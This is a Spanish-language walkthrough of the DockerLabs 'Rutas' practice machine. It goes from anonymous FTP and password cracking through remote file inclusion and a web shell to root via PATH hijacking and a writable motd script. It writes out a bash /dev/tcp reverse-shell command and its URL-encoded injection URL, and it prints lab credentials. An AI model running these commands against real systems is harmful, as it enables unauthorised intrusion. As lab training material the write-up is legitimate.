DockerLabs Rutas

DockerLabs Rutas

Esta es una máquina de DockerLabs de nivel medio

·

7 min read

Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.

Descargamos el archivo de la página dockerlabs.es/#

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.

Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.

Realizamos el escaneo de la dirección web y podemos observar que tenemos 3 puertos escaneados.

Empezamos ingresando al servicio FTP debido a que podemos acceder de manera anónima.

Al ingresar podemos observar 2 archivos que descargaremos, no es necesario el archivo hola_disfruta porque está vacío.

Tratamos de descomprimir, pero necesitamos un password.

Empleamos zip2john para extraer el hash y usando john podemos observar el password que es greenday.

Descomprimimos el archivo y podemos observar que el texto indica que debemos buscar un repositorio en GitHub.

Al ingresar al directorio podemos observar que tienen varios Writeups.

Ya que debemos buscar una imagen, podemos observar el URL de una imagen y podemos suponer que el directorio principal es https://firstatack.github.io/assets/

Ya que tenemos esa dirección agregamos el nombre del archivo que era crackpass.jpg Al ingresar a ese archivo podemos observar.

Usamos steghide para extraer el archivo oculto, pero podemos observar que obtuvimos un ZIP llamado passwd.zip.

Extraemos el archivo y podemos observar que tenemos un TXT que indica un password.

hackeada:denuevo

Probamos estas credenciales para acceder usando SSH, pero no es posible. Como aún no revisamos la dirección IP desde el navegador ingresamos a este y podemos observar que solo nos carga la página default de apache2.

Realizamos un escaneo de la dirección y podemos observar 2 index.

El primer index es la página principal y el segundo index es una página nueva.

Revisamos las direcciones de los enlaces podemos observar que hay 3 y uno de ellos es trackedvuln.dl

Ingresamos usando el nombre del dominio que agregamos y ahora podemos observar un login.

Al ingresar no notamos algo diferente y si intentamos realizar un escaneo podemos observar que no es posible.

Usamos burpsuite para interceptar la página y podemos observar que cuenta con el encabezado de Authorization.

Con esto podemos saber que sí está validando. Decodificamos el texto y podemos observar que son las credenciales que ingresamos.

Si queremos volver a realizar un escaneo debemos agregar el encabezado.

Como no tenemos un servicio adicional o página nueva, probaremos buscando un parámetro en el archivo index.php. Para ello haremos uso de wfuzz y luego de unos segundos podemos observar que el parámetro era love.

Ingresamos el parámetro y buscamos podemos observar que nos indica 2 textos uno de advertencia y otro que es bastante interesante y debemos tenerlos en cuenta.

Usa tmp cuando lo necesites recuerdalo te hara falta

Ya que no podemos realizar un LFI podemos probar con un RFI, Esta vulnerabilidad tiene cierta similitud que el LFI, solo que la inclusión de archivos se produce de manera remota, de esta manera podemos usar el URL para apuntar a un archivo que tengamos en nuestra máquina local y lo estemos compartiendo.

Para ello primero, creamos nuestro archivo malicioso en este caso crearemos un web shell y luego iniciaremos nuestro servidor.

Nos dirigimos a la web e ingresamos nuestra petición, pero solo la dirección IP del servicio podemos observar que la parte inferior lista los archivos de la ubicación del archivo donde está iniciado el servidor.

Para hacer uso de la shell, debemos agregar el parámetro y el comando a usar, se vería de la siguiente manera, también se debe tener en cuanta que para usar la shell no usamos ?, sino que reemplazamos por un &.

http://trackedvuln.dl/index.php?love=http://172.17.0.1:80/shell.php&cmd=id

Al ejecutar la petición podemos observar que podemos ejecutar comandos.

Ya que podemos ejecutar comandos, iniciaremos nuestro nc.

Usaremos una shell

bash -c \ "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1\ "'

pero debemos transformarlo a base 64.

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22

Quedando el URL de la siguiente manera.

http://trackedvuln.dl/index.php?love=http://172.17.0.1:80/shell.php&cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22

Enviamos la petición y observamos que ya obtuvimos respuesta en nuestro listener.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Primero hacemos

script /dev/null -c bash

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola. Realizamos un sudo -l y podemos observar que podemos elevar privilegios como norberto usando el binario de baner.

Pero si ejecutamos el binario podemos observar lo siguiente.

Observamos el resultado, al ejecutar el binario llama al comando head y lo hace usando tanto una ruta relativa como la ruta absoluta y el uso de una ruta relativa nos da paso a que podemos emplear un path hijacking, para ello nos dirigimos a la carpeta /tmp para poder crear el archivo sin problemas.

Lo que haremos al crear el archivo es ingresar un script que haga al ejecutar el binario nos genere una shell y esta tendrá los permisos del usuario norberto.

Accedimos como norberto listamos los archivos, de primera parece que no hay ningún archivo, pero si observamos a fondo hay una carpeta con el nombre - que hace que no denote mucho.

Al dirigirnos a esa carpeta podemos observar que hay un archivo oculto llamado miscredenciales, al abrirlo podemos observar que tiene una el password en una serie de puntos.

Pegamos el texto en Google podemos observar que es braille.

Usando el traductor observamos que el texto es

practicacreandoretos

Si el mensaje es cierto entonces tenemos el password de norberto.

norberto:practicacreandoretos

Pero como ya éramos norberto no tiene mucho sentido el saber el password si realizamos un sudo -l observamos que no tiene permisos para ejecutar sudo también se puede tratar del password de root, pero no es correcto, por ello listamos los usuarios y probamos pero tampoco.

Listamos los permisos SUID y podemos observar que tenemos sudo, pero es para root, pero no nos es útil.

Buscamos permisos SUID para maria, pero no observamos nada, salimos de la sesión de norberto y volvemos a probar listar permisos para maria y observamos que podemos usar bash.

Ya que tenemos esto usamos el permiso SUID y podemos observar que ya accedimos como maria.

Nos dirigimos al directorio de maria y podemos observar que hay un archivo oculto llamado .mipass

Al abrirlo observamos que es el password de maria.

maria:asientiendesmejor

Realizamos un sudo -l, pero nos ejecuta como www-data.

Establecemos sesión con maria usando SSH y podemos observar que ingresamos sin problemas así también podemos observar un mensaje, esto puede ser un motd (Message of the Day) o también un banner de SSH.

De primera suponemos que se trata del banner_ssh, buscamos en el directorio /etc/ssh/sshd_config, pero no observamos nada relevante.

Nos centramos de que se trata en un motd y nos dirigimos a la su carpeta por defecto y podemos observar que no hay un archivo con ese nombre exacto. Pero hay uno similar que hace referencia a una actualización llamado update-motd.d.

Ingresamos al servicio y podemos observar que hay un archivo en el cual todos son root menos el 00-header.

Abrimos el archivo y observamos lo siguiente. Debemos tener en cuenta que este archivo se ejecuta al iniciar sesión de manera automática.

Abrimos el archivo y agregamos la siguiente línea para que el sistema lo ejecute al iniciar sesión.

Volvemos a establecer conexión por SSH notamos que cambio el entorno, pero seguimos siendo maria y si realizamos un bash -p podemos observar que obtuvimos acceso como root. Así culminando esta máquina.


En caso de no habernos fijado sobre como funcionaba el mensaje de login por ssh podíamos encontrarla haciendo uso de Linpeas para ello necesitábamos iniciar nuestro servidor.

Nos dirigimos a la carpeta /tmp, descargamos el archivo linpeas.sh, brindamos permisos de ejecución y ejecutamos.

Luego de ejecutar linpeas y realizar una búsqueda en los resultados podemos observar que identificó el archivo que usamos para realizar la escalada.